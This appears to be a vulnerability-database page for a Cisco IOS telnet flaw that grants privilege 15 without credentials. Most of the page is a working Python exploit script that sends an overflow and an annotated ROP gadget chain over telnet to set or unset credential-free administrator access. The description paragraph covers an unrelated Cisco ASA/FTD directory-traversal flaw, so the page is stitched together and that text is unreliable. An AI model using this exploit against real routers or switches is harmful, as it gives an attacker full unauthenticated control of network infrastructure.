Cisco IOS Telnet Credless Privilege 15 Authentication

Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software is vulnerable to local file inclusion due to directory traversal attacks that can read sensitive files on a targeted system because of a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.

Mitigation:

Disable Telnet and use SSH instead. If Telnet is required, use strong authentication and restrict access to trusted IP addresses.

Source

Exploit-DB raw data:

#!/usr/bin/python
# Author:
#  Artem Kondratenko (@artkond)

import socket
import sys
from time import sleep

set_credless = True

if len(sys.argv) < 3:
	print sys.argv[0] + ' [host] --set/--unset'
	sys.exit()
elif sys.argv[2] == '--unset':
	set_credless = False
elif sys.argv[2] == '--set':
	pass
else:
	print sys.argv[0] + ' [host] --set/--unset'
	sys.exit()


s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 23))

print '[+] Connection OK'
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
#sleep(0.5)
print '[+] Sending cluster option'

print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'



payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116
payload += '\x00\x00\x37\xb4'		# first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
#next bytes are shown as offsets from r1
payload += '\x02\x2c\x8b\x74'		# +8  address of pointer to is_cluster_mode function - 0x34
if set_credless is True:
	payload += '\x00\x00\x99\x80'	# +12 set  address of func that rets 1
else:
	payload +=	'\x00\x04\xea\x58'	# unset 
payload += 'BBBB'					# +16(+0) r1 points here at second gadget
payload += '\x00\xdf\xfb\xe8' 		# +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
payload += 'CCCC'					# +8 
payload += 'DDDD'					# +12
payload += 'EEEE'					# +16(+0) r1 points here at third gadget
payload += '\x00\x06\x78\x8c'		# +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; 
payload += '\x02\x2c\x8b\x60'		# +8  r1+8 = 0x022c8b60
payload += 'FFFF'					# +12 
payload += 'GGGG'					# +16(+0) r1 points here at fourth gadget 
payload += '\x00\x6b\xa1\x28' 		# +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
if set_credless:
	payload += '\x00\x12\x52\x1c'	# +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr; 
else:
	payload += '\x00\x04\xe6\xf0'	# unset
payload += 'HHHH'					# +12
payload += 'IIII'					# +16(+0) r1 points here at fifth gadget
payload += '\x01\x48\xe5\x60'		# +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
payload += 'JJJJ'					# +8 r1 points here at third gadget
payload += 'KKKK'					# +12
payload += 'LLLL'					# +16
payload += '\x01\x13\x31\xa8'		# +20 original execution flow return addr
payload += ':15:' +  '\xff\xf0'

s.send(payload)

print '[+] All done'

s.close()